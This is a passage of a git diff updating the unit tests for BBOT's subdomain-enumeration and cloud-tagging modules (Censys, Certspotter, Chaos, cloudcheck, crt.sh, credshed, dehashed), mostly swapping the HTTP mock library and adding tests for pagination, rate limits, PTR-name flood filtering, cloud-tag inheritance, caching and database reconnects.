             e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*"
             for e in events
         ), "Failed to detect Apache Tomcat technology with CPE"
-        assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "Java" for e in events), (
+        assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "java" for e in events), (
             "Failed to detect Java technology without CPE"
         )
 
@@ -227,7 +248,7 @@ class TestCensys_IP_InScopeOnly(ModuleTestBase):
 
     async def setup_before_prep(self, module_test):
         await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}})
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v1/account",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -235,7 +256,7 @@ async def setup_before_prep(self, module_test):
             },
         )
         # This should NOT be called because in_scope_only=True
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v2/hosts/1.1.1.1",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -248,6 +269,9 @@ async def setup_before_prep(self, module_test):
             },
         )
 
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}})
+
     def check(self, module_test, events):
         # Should NOT have queried the IP since it's out of scope
         assert not any(e.type == "OPEN_TCP_PORT" and "1.1.1.1" in e.data for e in events), (
@@ -268,7 +292,7 @@ class TestCensys_IP_OutOfScope(ModuleTestBase):
 
     async def setup_before_prep(self, module_test):
         await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}})
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v1/account",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -276,7 +300,7 @@ async def setup_before_prep(self, module_test):
             },
         )
         # This SHOULD be called because in_scope_only=False
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://search.censys.io/api/v2/hosts/1.1.1.1",
             match_headers={"Authorization": "Basic YXBpX2lkOmFwaV9zZWNyZXQ="},
             json={
@@ -289,6 +313,9 @@ async def setup_before_prep(self, module_test):
             },
         )
 
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"evilcorp.com": {"A": ["1.1.1.1"]}})
+
     def check(self, module_test, events):
         # Should have queried the IP since in_scope_only=False
         assert any(e.type == "OPEN_TCP_PORT" and e.data == "1.1.1.1:80" for e in events), (
diff --git a/bbot/test/test_step_2/module_tests/test_module_certspotter.py b/bbot/test/test_step_2/module_tests/test_module_certspotter.py
index a9ab7eb36b..3540b5db1a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_certspotter.py
+++ b/bbot/test/test_step_2/module_tests/test_module_certspotter.py
@@ -5,10 +5,70 @@ class TestCertspotter(ModuleTestBase):
     async def setup_after_prep(self, module_test):
         module_test.module.abort_if = lambda e: False
         for t in self.targets:
-            module_test.httpx_mock.add_response(
+            module_test.blasthttp_mock.add_response(
                 url="https://api.certspotter.com/v1/issuances?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names",
                 json=[{"dns_names": ["*.asdf.blacklanternsecurity.com"]}],
             )
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
+
+
+class TestCertspotterPaginated(ModuleTestBase):
+    module_name = "certspotter"
+    config_overrides = {"modules": {"certspotter": {"api_key": "test_key"}}}
+
+    base_url = "https://api.certspotter.com/v1/issuances"
+
+    async def setup_after_prep(self, module_test):
+        module_test.module.abort_if = lambda e: False
+        await module_test.mock_dns(
+            {
+                "page1.blacklanternsecurity.com": {"A": ["127.0.0.1"]},
+                "also-page1.blacklanternsecurity.com": {"A": ["127.0.0.2"]},
+                "page2.blacklanternsecurity.com": {"A": ["127.0.0.3"]},
+            }
+        )
+        module_test.blasthttp_mock.add_response(
+            url=f"{self.base_url}?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names",
+            json=[
+                {"id": 100, "dns_names": ["page1.blacklanternsecurity.com"]},
+                {"id": 200, "dns_names": ["also-page1.blacklanternsecurity.com"]},
+            ],
+        )
+        module_test.blasthttp_mock.add_response(
+            url=f"{self.base_url}?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names&after=200",
+            json=[
+                {"id": 300, "dns_names": ["page2.blacklanternsecurity.com"]},
+            ],
+        )
+        module_test.blasthttp_mock.add_response(
+            url=f"{self.base_url}?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names&after=300",
+            json=[],
+        )
+
+    def check(self, module_test, events):
+        dns_names = {e.data for e in events if e.type == "DNS_NAME"}
+        assert "page1.blacklanternsecurity.com" in dns_names, "Missing page 1 result"
+        assert "also-page1.blacklanternsecurity.com" in dns_names, "Missing page 1 second result"
+        assert "page2.blacklanternsecurity.com" in dns_names, "Missing page 2 result"
+
+
+class TestCertspotterRateLimited(ModuleTestBase):
+    module_name = "certspotter"
+    modules_overrides = ["certspotter"]
+
+    async def setup_after_prep(self, module_test):
+        module_test.module.abort_if = lambda e: False
+        module_test.blasthttp_mock.add_response(
+            url="https://api.certspotter.com/v1/issuances?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names",
+            json={
+                "code": "rate_limited",
+                "message": "You have exceeded the domain search rate limit for the SSLMate CT Search API.",
+            },
+        )
+
+    def check(self, module_test, events):
+        assert not any(e.type == "DNS_NAME" and e.data != "blacklanternsecurity.com" for e in events), (
+            "Should not produce subdomains from a rate-limited response"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_chaos.py b/bbot/test/test_step_2/module_tests/test_module_chaos.py
index 193bded584..29df202f98 100644
--- a/bbot/test/test_step_2/module_tests/test_module_chaos.py
+++ b/bbot/test/test_step_2/module_tests/test_module_chaos.py
@@ -5,12 +5,12 @@ class TestChaos(ModuleTestBase):
     config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://dns.projectdiscovery.io/dns/example.com",
             match_headers={"Authorization": "asdf"},
             json={"domain": "example.com", "subdomains": 65},
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains",
             match_headers={"Authorization": "asdf"},
             json={
@@ -23,3 +23,151 @@ async def setup_before_prep(self, module_test):
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.cloud.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
+
+
+class TestChaosFloodCollapse(ModuleTestBase):
+    """Chaos sometimes returns hundreds of thousands of children under a single
+    parent (typically ISP PTR explosions). Verify two behaviors:
+
+      1. Names whose leading segments look like IPv4 octets (dotted or
+         hyphenated) are filtered out as obvious PTR garbage.
+      2. When a parent still has more children than the cap, the children are
+         dropped and the parent is emitted on its own — letting bbot's normal
+         DNS wildcard detection decide whether it's actually wildcard.
+    """
+
+    modules_overrides = ["chaos"]
+    config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}}
+
+    async def setup_before_prep(self, module_test):
+        flood = []
+        # PTR junk that should be dropped by the IP-octet regex before it ever
+        # contributes to a parent's child count.
+        ptr_junk = [
+            "001.106.103.218.static",  # dotted leading octets, with leading zero
+            "192.168.1.1.static",  # dotted leading octets
+            "203.0.113.7.customer",  # dotted leading octets
+            "000-1-246-220.static",  # hyphenated leading octets, leading zero
+            "10-20-30-40.static",  # hyphenated leading octets
+            "42-98-224-32.cust",  # hyphenated leading octets
+        ]
+        flood.extend(ptr_junk)
+        # 400 fake siblings under one parent (above the cap=300) — should
+        # collapse to just the parent.
+        flood.extend(f"host{i}.bigparent" for i in range(400))
+        # A normal subdomain under a different parent — should pass through.
+        flood.append("realone.normalparent")
+        # Date-prefixed name that should NOT be caught by the PTR filter.
+        flood.append("2024.01.15.report.bigparent")
+
+        module_test.blasthttp_mock.add_response(
+            url="https://dns.projectdiscovery.io/dns/example.com",
+            match_headers={"Authorization": "asdf"},
+            json={"domain": "example.com", "subdomains": 65},
+        )
+        module_test.blasthttp_mock.add_response(
+            url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains",
+            match_headers={"Authorization": "asdf"},
+            json={"domain": "blacklanternsecurity.com", "subdomains": flood},
+        )
+
+    def check(self, module_test, events):
+        emitted = [e.data for e in events if e.module and getattr(e.module, "name", "") == "chaos"]
+
+        # 400 flooded children -> dropped; parent emitted instead
+        assert "bigparent.blacklanternsecurity.com" in emitted, (
+            f"Expected parent to be emitted when children exceed cap; got {emitted}"
+        )
+        assert not any(d.startswith("host") for d in emitted), (
+            f"Flooded children should have been dropped; got {emitted}"
+        )
+
+        # Normal sibling under an uncapped parent passes through
+        assert "realone.normalparent.blacklanternsecurity.com" in emitted, (
+            f"Real subdomain under uncapped parent should be emitted; got {emitted}"
+        )
+
+        # Every PTR-style leading-IP-octet name is filtered before reaching the cap
+        ptr_fragments = [
+            "001.106.103.218",
+            "192.168.1.1",
+            "203.0.113.7",
+            "000-1-246-220",
+            "10-20-30-40",
+            "42-98-224-32",
+        ]
+        for frag in ptr_fragments:
+            assert not any(frag in d for d in emitted), (
+                f"PTR-style name containing {frag!r} should have been filtered; got {emitted}"
+            )
+
+        # Date-prefixed names must NOT be filtered (only 4-group IPv4 patterns are)
+        assert "2024.01.15.report.bigparent.blacklanternsecurity.com" in emitted, (
+            f"Date-prefixed subdomain should survive PTR filter; got {emitted}"
+        )
+
+
+class TestChaosApexFlood(ModuleTestBase):
+    """>300 subdomains directly under the queried apex must not be collapsed."""
+
+    modules_overrides = ["chaos"]
+    config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}}
+
+    async def setup_before_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="https://dns.projectdiscovery.io/dns/example.com",
+            match_headers={"Authorization": "asdf"},
+            json={"domain": "example.com", "subdomains": 65},
+        )
+        flood = [f"svc{i}" for i in range(400)] + ["realsub.cluster"]
+        module_test.blasthttp_mock.add_response(
+            url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains",
+            match_headers={"Authorization": "asdf"},
+            json={"domain": "blacklanternsecurity.com", "subdomains": flood},
+        )
+
+    def check(self, module_test, events):
+        assert module_test.scan.modules["chaos"].errored is False
+        emitted = [e.data for e in events if e.module and getattr(e.module, "name", "") == "chaos"]
+        assert any(d.startswith("svc") for d in emitted), (
+            f"Direct-apex subdomains should not be collapsed; got {emitted}"
+        )
+        assert "realsub.cluster.blacklanternsecurity.com" in emitted, f"Nested subdomain should survive; got {emitted}"
+
+
+class TestChaosDuplicateInflation(ModuleTestBase):
+    """Duplicate entries from chaos must not inflate the per-parent cap count.
+
+    A parent with fewer unique children than PER_PARENT_CAP must not be
+    collapsed just because chaos returned the same names multiple times.
+    """
+
+    modules_overrides = ["chaos"]
+    config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}}
+
+    async def setup_before_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="https://dns.projectdiscovery.io/dns/example.com",
+            match_headers={"Authorization": "asdf"},
+            json={"domain": "example.com", "subdomains": 65},
+        )
+        # 250 unique children (under cap=300), each sent twice -> 500 raw entries.
+        # Cap must count unique, not raw, so none should be collapsed.
+        uniq = [f"svc{i}.cluster" for i in range(250)]
+        flood = uniq + uniq
+        module_test.blasthttp_mock.add_response(
+            url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains",
+            match_headers={"Authorization": "asdf"},
+            json={"domain": "blacklanternsecurity.com", "subdomains": flood},
+        )
+
+    def check(self, module_test, events):
+        assert module_test.scan.modules["chaos"].errored is False
+        emitted = [e.data for e in events if e.module and getattr(e.module, "name", "") == "chaos"]
+        svc = [d for d in emitted if d.startswith("svc")]
+        assert len(svc) == 250, (
+            f"all 250 unique children should survive (cap must count unique, not duplicates); got {len(svc)}"
+        )
+        assert "cluster.blacklanternsecurity.com" not in emitted, (
+            "parent must not be collapsed when unique child count is under the cap"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py
index 709337476d..024d0dc75a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py
+++ b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py
@@ -5,7 +5,7 @@
 
 class TestCloudCheck(ModuleTestBase):
     targets = ["http://127.0.0.1:8888", "asdf2.storage.googleapis.com"]
-    modules_overrides = ["httpx", "excavate", "cloudcheck"]
+    modules_overrides = ["http", "excavate", "cloudcheck"]
 
     async def setup_after_prep(self, module_test):
         module_test.set_expect_requests({"uri": "/"}, {"response_data": "<a href='http://asdf.s3.amazonaws.com'/>"})
@@ -27,36 +27,164 @@ async def setup_after_prep(self, module_test):
         other_event1 = scan.make_event("cname.evilcorp.com", parent=scan.root_event)
         other_event2 = scan.make_event("cname2.evilcorp.com", parent=scan.root_event)
         other_event3 = scan.make_event("cname3.evilcorp.com", parent=scan.root_event)
-        other_event2._resolved_hosts = {"8.8.8.8"}
-        other_event3._resolved_hosts = {"asdf.amazonaws.com"}
+        other_event2.resolved_hosts = ("8.8.8.8",)
+        other_event3.resolved_hosts = ("asdf.amazonaws.com",)
 
         for event in (ip_event, other_event2):
             await module.handle_event(ip_event)
-            assert "cloud-google" in ip_event.tags
-            assert "google-ip" in ip_event.tags
+            assert "google" in ip_event.tags
+            assert "cloud" in ip_event.tags
+            # check host_metadata has structured info
+            assert "8.8.8.8" in ip_event.host_metadata
+            assert "google" in ip_event.host_metadata["8.8.8.8"]["cloud_providers"]
+            assert ip_event.host_metadata["8.8.8.8"]["cloud_providers"]["google"]["match"] == "ip"
 
         for event in (aws_event1, aws_event2, aws_event4, other_event3):
             await module.handle_event(event)
-            assert "cloud-amazon" in event.tags, f"{event} was not properly cloud-tagged"
+            assert "amazon" in event.tags, f"{event} was not properly cloud-tagged"
+            assert "cloud" in event.tags, f"{event} was not properly cloud-tagged"
 
-        assert "amazon-domain" in aws_event1.tags
-        assert "amazon-cname" in other_event3.tags
+        # check match types in host_metadata
+        assert aws_event1.host_metadata["amazonaws.com"]["cloud_providers"]["amazon"]["match"] == "domain"
+        assert other_event3.host_metadata["asdf.amazonaws.com"]["cloud_providers"]["amazon"]["match"] == "cname"
 
         for event in (aws_event3, other_event1):
             await module.handle_event(event)
-            assert "cloud-amazon" not in event.tags, f"{event} was improperly cloud-tagged"
-            assert not any(t for t in event.tags if t.startswith("cloud-") or t.startswith("cdn-")), (
-                f"{event} was improperly cloud-tagged"
-            )
+            assert "amazon" not in event.tags, f"{event} was improperly cloud-tagged"
+            assert "cloud" not in event.tags, f"{event} was improperly cloud-tagged"
 
         google_event1 = scan.make_event("asdf.googleapis.com", parent=scan.root_event)
         google_event2 = scan.make_event("asdf.google", parent=scan.root_event)
         google_event3 = scan.make_event("asdf.evilcorp.com", parent=scan.root_event)
-        google_event3._resolved_hosts = {"asdf.storage.googleapis.com"}
+        google_event3.resolved_hosts = ("asdf.storage.googleapis.com",)
 
         for event in (google_event1, google_event2, google_event3):
             await module.handle_event(event)
-            assert "cloud-google" in event.tags, f"{event} was not properly cloud-tagged"
+            assert "google" in event.tags, f"{event} was not properly cloud-tagged"
+            assert "cloud" in event.tags, f"{event} was not properly cloud-tagged"
+
+        # ── Parent-inheritance regression tests ────────────────────────
+        # cloudcheck has a fast path where a child event with hosts ⊆ parent's
+        # hosts inherits the parent's cloud tags instead of re-running lookups.
+        # Correctness requires that tags are only inherited PER HOST — a child
+        # without parent's cloud-tagged host must NOT inherit that tag.
+
+        # Build a parent with TWO hosts: one matches Amazon (via CNAME), the
+        # other doesn't. Parent's event-level tags will include "amazon" /
+        # "cloud" because of the matching host.
+        inherit_parent = scan.make_event("evilcorp.com", parent=scan.root_event)
+        inherit_parent.resolved_hosts = ("asdf.amazonaws.com", "10.0.0.1")
+        await module.handle_event(inherit_parent)
+        assert "amazon" in inherit_parent.tags, "parent should have inherited amazon from CNAME"
+        assert "cloud" in inherit_parent.tags
+        assert "asdf.amazonaws.com" in inherit_parent.host_metadata
+        # the non-matching hosts must NOT appear in host_metadata
+        assert "10.0.0.1" not in inherit_parent.host_metadata
+        assert "evilcorp.com" not in inherit_parent.host_metadata
+
+        # CASE A — child host set is a SUBSET of parent's but EXCLUDES the
+        # Amazon-matching host. The child must not inherit "amazon" / "cloud".
+        # This is the leak the regression test guards against.
+        child_excludes_match = scan.make_event("evilcorp.com", parent=inherit_parent)
+        child_excludes_match.resolved_hosts = ("10.0.0.1",)
+        await module.handle_event(child_excludes_match)
+        assert "amazon" not in child_excludes_match.tags, "amazon tag leaked from parent host the child doesn't have"
+        assert "cloud" not in child_excludes_match.tags, "cloud tag leaked from parent host the child doesn't have"
+        assert "asdf.amazonaws.com" not in child_excludes_match.host_metadata, "metadata for excluded host leaked"
+
+        # CASE B — child INCLUDES the Amazon-matching host. It should inherit
+        # "amazon" / "cloud", and `match` is recomputed from child's view
+        # (here "asdf.amazonaws.com" is at position 1, so still "cname").
+        child_includes_match = scan.make_event("evilcorp.com", parent=inherit_parent)
+        child_includes_match.resolved_hosts = ("asdf.amazonaws.com",)
+        await module.handle_event(child_includes_match)
+        assert "amazon" in child_includes_match.tags
+        assert "cloud" in child_includes_match.tags
+        assert "asdf.amazonaws.com" in child_includes_match.host_metadata
+        assert (
+            child_includes_match.host_metadata["asdf.amazonaws.com"]["cloud_providers"]["amazon"]["match"] == "cname"
+        )
+
+        # CASE C — child whose primary host IS the Amazon CNAME target.
+        # Subset gate still passes (host is in parent's resolved_hosts), and
+        # `match` recomputes to "domain" from child's perspective (i==0).
+        child_cname_as_primary = scan.make_event("asdf.amazonaws.com", parent=inherit_parent)
+        await module.handle_event(child_cname_as_primary)
+        assert "amazon" in child_cname_as_primary.tags
+        assert child_cname_as_primary.host_metadata["asdf.amazonaws.com"]["cloud_providers"]["amazon"]["match"] == (
+            "domain"
+        ), "match should be recomputed from child's perspective, not inherited as parent's 'cname'"
+
+        # CASE D — child whose hosts are DISJOINT from parent's. Subset gate
+        # fails → falls back to normal lookup. Child gets Google tags from a
+        # real lookup, not via inheritance.
+        child_disjoint = scan.make_event("8.8.8.8", parent=inherit_parent)
+        await module.handle_event(child_disjoint)
+        assert "google" in child_disjoint.tags
+        assert "cloud" in child_disjoint.tags
+
+        # ── YARA prefilter short-circuit ───────────────────────────────
+        # When no host could possibly match any bucket regex (mismatched
+        # suffix) the prefilter returns no matches and we skip the Python
+        # regex loop entirely. We can't easily assert "loop was skipped"
+        # from outside, but we can verify the prefilter behavior directly.
+        # No false negatives are checked above by the full TestCloudCheck
+        # scan flow (which asserts STORAGE_BUCKET events are still emitted
+        # for asdf.s3.amazonaws.com / asdf2.storage.googleapis.com).
+        assert module._bucket_yara is not None, "bucket YARA prefilter must compile at setup"
+        # known bucket hostnames must hit the prefilter
+        for hostname in ("foo.s3.amazonaws.com", "bar.r2.dev", "baz.blob.core.windows.net"):
+            assert module._bucket_yara.match(data=hostname), f"prefilter must hit on real bucket hostname {hostname}"
+        # ordinary hostnames must not
+        for hostname in ("evilcorp.com", "www.example.com", "api.foo.bar.net"):
+            assert not module._bucket_yara.match(data=hostname), (
+                f"prefilter must not hit on non-bucket hostname {hostname}"
+            )
+
+        # ── LRU cache on cloudcheck.lookup() ───────────────────────────
+        # repeated hosts hit the cache instead of re-issuing the Future-
+        # based lookup. The cloudcheck Rust binding has read-only attrs,
+        # so we swap the entire helper-level instance with a counting
+        # wrapper rather than monkey-patching `.lookup` on the Rust object.
+        class _CountingCloudCheck:
+            def __init__(self, real):
+                self.real = real
+                self.calls = 0
+
+            def lookup(self, target):
+                self.calls += 1
+                return self.real.lookup(target)
+
+        original_cc = scan.helpers._cloudcheck
+        counter = _CountingCloudCheck(original_cc)
+        scan.helpers._cloudcheck = counter
+        try:
+            # clear the cache so the first miss is observable
+            module._lookup_cache.clear()
+            # first event: 1 host + 1 IP → 2 real lookups
+            cache_event1 = scan.make_event("cache-test-1.evilcorp.com", parent=scan.root_event)
+            cache_event1.resolved_hosts = ("203.0.113.42",)
+            await module.handle_event(cache_event1)
+            first_round = counter.calls
+            assert first_round >= 2, f"expected ≥2 lookups (host + IP), got {first_round}"
+
+            # second event with the same hosts: 0 additional real lookups
+            cache_event2 = scan.make_event("cache-test-1.evilcorp.com", parent=scan.root_event)
+            cache_event2.resolved_hosts = ("203.0.113.42",)
+            await module.handle_event(cache_event2)
+            assert counter.calls == first_round, (
+                f"LRU cache miss: expected no new lookups, got {counter.calls - first_round}"
+            )
+
+            # third event with a NEW host: exactly one extra lookup
+            cache_event3 = scan.make_event("cache-test-2.evilcorp.com", parent=scan.root_event)
+            cache_event3.resolved_hosts = ("203.0.113.42",)
+            await module.handle_event(cache_event3)
+            assert counter.calls == first_round + 1, (
+                f"expected 1 new lookup for new host, got {counter.calls - first_round}"
+            )
+        finally:
+            scan.helpers._cloudcheck = original_cc
 
         await scan._cleanup()
 
@@ -69,8 +197,6 @@ def check(self, module_test, events):
                 if e.type == "STORAGE_BUCKET"
                 and e.data["name"] == "asdf"
                 and str(e.module) == "cloudcheck"
-                and "cloud-amazon" in e.tags
-                and "amazon-domain" in e.tags
                 and e.scope_distance == 1
             ]
         )
@@ -81,8 +207,20 @@ def check(self, module_test, events):
                 if e.type == "STORAGE_BUCKET"
                 and e.data["name"] == "asdf2"
                 and str(e.module) == "cloudcheck"
-                and "cloud-google" in e.tags
-                and "google-domain" in e.tags
                 and e.scope_distance == 0
             ]
         )
+
+        # verify host_metadata is populated by cloudcheck on real scan events
+        url_events = [e for e in events if e.type == "URL"]
+        for url_event in url_events:
+            if url_event.host_metadata:
+                # check structure: {host: {cloud_providers: {name: {types: [...], match: "..."}}}}
+                for host, meta in url_event.host_metadata.items():
+                    assert "cloud_providers" in meta, f"host_metadata for {host} missing cloud_providers"
+                    for provider_name, provider_info in meta["cloud_providers"].items():
+                        assert "types" in provider_info, f"cloud_providers[{provider_name}] missing types"
+                        assert "match" in provider_info, f"cloud_providers[{provider_name}] missing match"
+                        assert provider_info["match"] in ("ip", "domain", "cname"), (
+                            f"unexpected match type: {provider_info['match']}"
+                        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_code_repository.py b/bbot/test/test_step_2/module_tests/test_module_code_repository.py
index bfb01ef03f..20df2dfb28 100644
--- a/bbot/test/test_step_2/module_tests/test_module_code_repository.py
+++ b/bbot/test/test_step_2/module_tests/test_module_code_repository.py
@@ -3,7 +3,7 @@
 
 class TestCodeRepository(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "excavate", "code_repository"]
+    modules_overrides = ["http", "excavate", "code_repository"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/"}
diff --git a/bbot/test/test_step_2/module_tests/test_module_credshed.py b/bbot/test/test_step_2/module_tests/test_module_credshed.py
index a6b1e65c51..17093ecb82 100644
--- a/bbot/test/test_step_2/module_tests/test_module_credshed.py
+++ b/bbot/test/test_step_2/module_tests/test_module_credshed.py
@@ -57,12 +57,12 @@ class TestCredshed(ModuleTestBase):
     }
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://credshed.com/api/auth",
             json=credshed_auth_response,
             method="POST",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://credshed.com/api/search",
             json=credshed_response,
             method="POST",
diff --git a/bbot/test/test_step_2/module_tests/test_module_crt.py b/bbot/test/test_step_2/module_tests/test_module_crt.py
index 5ee8ae4d31..34bfd7b1a1 100644
--- a/bbot/test/test_step_2/module_tests/test_module_crt.py
+++ b/bbot/test/test_step_2/module_tests/test_module_crt.py
@@ -5,7 +5,7 @@ class TestCRT(ModuleTestBase):
     async def setup_after_prep(self, module_test):
         module_test.module.abort_if = lambda e: False
         for t in self.targets:
-            module_test.httpx_mock.add_response(
+            module_test.blasthttp_mock.add_response(
                 url="https://crt.sh?q=%25.blacklanternsecurity.com&output=json",
                 json=[{"id": 1, "name_value": "asdf.blacklanternsecurity.com\nzzzz.blacklanternsecurity.com"}],
             )
diff --git a/bbot/test/test_step_2/module_tests/test_module_crt_db.py b/bbot/test/test_step_2/module_tests/test_module_crt_db.py
index 995d2cd52b..d79b5f6b30 100644
--- a/bbot/test/test_step_2/module_tests/test_module_crt_db.py
+++ b/bbot/test/test_step_2/module_tests/test_module_crt_db.py
@@ -1,23 +1,94 @@
 from .base import ModuleTestBase
 
 
-class TestCRT_DB(ModuleTestBase):
-    async def setup_after_prep(self, module_test):
-        class AsyncMock:
-            async def fetch(self, *args, **kwargs):
-                return [
-                    {"name_value": "asdf.blacklanternsecurity.com"},
-                    {"name_value": "zzzz.blacklanternsecurity.com"},
-                ]
+class FakeAsyncpgConn:
+    def __init__(self):
+        self._closed = False
+        self.fetch_calls = 0
+
+    def is_closed(self):
+        return self._closed
+
+    async def fetch(self, *args, **kwargs):
+        self.fetch_calls += 1
+        return [
+            {"name_value": "asdf.blacklanternsecurity.com"},
+            {"name_value": "zzzz.blacklanternsecurity.com"},
+        ]
 
-            async def close(self):
-                pass
+    async def close(self):
+        self._closed = True
 
+
+class TestCRT_DB(ModuleTestBase):
+    async def setup_after_prep(self, module_test):
         async def mock_connect(*args, **kwargs):
-            return AsyncMock()
+            return FakeAsyncpgConn()
 
         module_test.monkeypatch.setattr("asyncpg.connect", mock_connect)
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
         assert any(e.data == "zzzz.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
+
+
+class TestCRT_DB_Reconnect(ModuleTestBase):
+    """
+    Asyncpg connections drop mid-scan when the upstream Postgres restarts or idles us out.
+    The module must reopen on the next call instead of staying broken for the rest of the scan.
+    """
+
+    targets = ["blacklanternsecurity.com", "evilcorp.com"]
+    modules_overrides = ["crt_db"]
+
+    async def setup_after_prep(self, module_test):
+        async def fetch_succeed(self, *args, **kwargs):
+            # args[1] is the query (domain); return a subdomain matching it
+            query = args[1] if len(args) > 1 else "blacklanternsecurity.com"
+            return [{"name_value": f"reconnect.{query}"}]
+
+        async def fetch_then_fail(self, *args, **kwargs):
+            self._closed = True
+            raise ConnectionError("connection is closed")
+
+        self.connect_count = 0
+
+        async def mock_connect(*args, **kwargs):
+            self.connect_count += 1
+            conn = FakeAsyncpgConn()
+            if self.connect_count == 1:
+                conn.fetch = fetch_then_fail.__get__(conn)
+            else:
+                conn.fetch = fetch_succeed.__get__(conn)
+            return conn
+
+        module_test.monkeypatch.setattr("asyncpg.connect", mock_connect)
+
+    def check(self, module_test, events):
+        assert self.connect_count >= 2, "Module did not reconnect after closed connection"
+        assert any(isinstance(e.data, str) and e.data.startswith("reconnect.") for e in events), (
+            "Failed to detect subdomain after reconnect"
+        )
+
+
+class TestCRT_DB_OOM(ModuleTestBase):
+    """When crt.sh's Postgres reports out-of-memory, the module must back off (error state) rather than hammer it."""
+
+    module_name = "crt_db"
+    modules_overrides = ["crt_db"]
+
+    async def setup_after_prep(self, module_test):
+        import asyncpg
+
+        async def fetch_oom(self, *args, **kwargs):
+            raise asyncpg.OutOfMemoryError("out of shared memory")
+
+        async def mock_connect(*args, **kwargs):
+            conn = FakeAsyncpgConn()
+            conn.fetch = fetch_oom.__get__(conn)
+            return conn
+
+        module_test.monkeypatch.setattr("asyncpg.connect", mock_connect)
+
+    def check(self, module_test, events):
+        assert module_test.module.errored is True, "Module did not enter error state on Postgres out-of-memory"
diff --git a/bbot/test/test_step_2/module_tests/test_module_csv.py b/bbot/test/test_step_2/module_tests/test_module_csv.py
index 5a9575372d..206b9301aa 100644
--- a/bbot/test/test_step_2/module_tests/test_module_csv.py
+++ b/bbot/test/test_step_2/module_tests/test_module_csv.py
@@ -11,5 +11,5 @@ def check(self, module_test, events):
 
         with open(csv_file) as f:
             data = f.read()
-            assert "blacklanternsecurity.com,127.0.0.5,TARGET" in data
+            assert "blacklanternsecurity.com,127.0.0.5,SEED" in data
             assert context_data in data
diff --git a/bbot/test/test_step_2/module_tests/test_module_dehashed.py b/bbot/test/test_step_2/module_tests/test_module_dehashed.py
index e566753502..5a174e7fac 100644
--- a/bbot/test/test_step_2/module_tests/test_module_dehashed.py
+++ b/bbot/test/test_step_2/module_tests/test_module_dehashed.py
@@ -9,7 +9,7 @@ class TestDehashed(ModuleTestBase):
     }
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.dehashed.com/v2/search",
             method="POST",
             json={
@@ -40,6 +40,8 @@ async def setup_before_prep(self, module_test):
                 "total": 2,
             },
         )
+
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {
                 "bob.com": {"A": ["127.0.0.1"]},
@@ -96,7 +98,7 @@ def check(self, module_test, events):
 
 class TestDehashedBadEmail(TestDehashed):
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.dehashed.com/v2/search",
             method="POST",
             json={
@@ -120,7 +122,7 @@ def check(self, module_test, events):
 
 class TestDehashedHTTPError(TestDehashed):
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.dehashed.com/v2/search",
             method="POST",
             json={"error": "issue with request body"},
@@ -130,14 +132,14 @@ async def setup_before_prep(self, module_test):
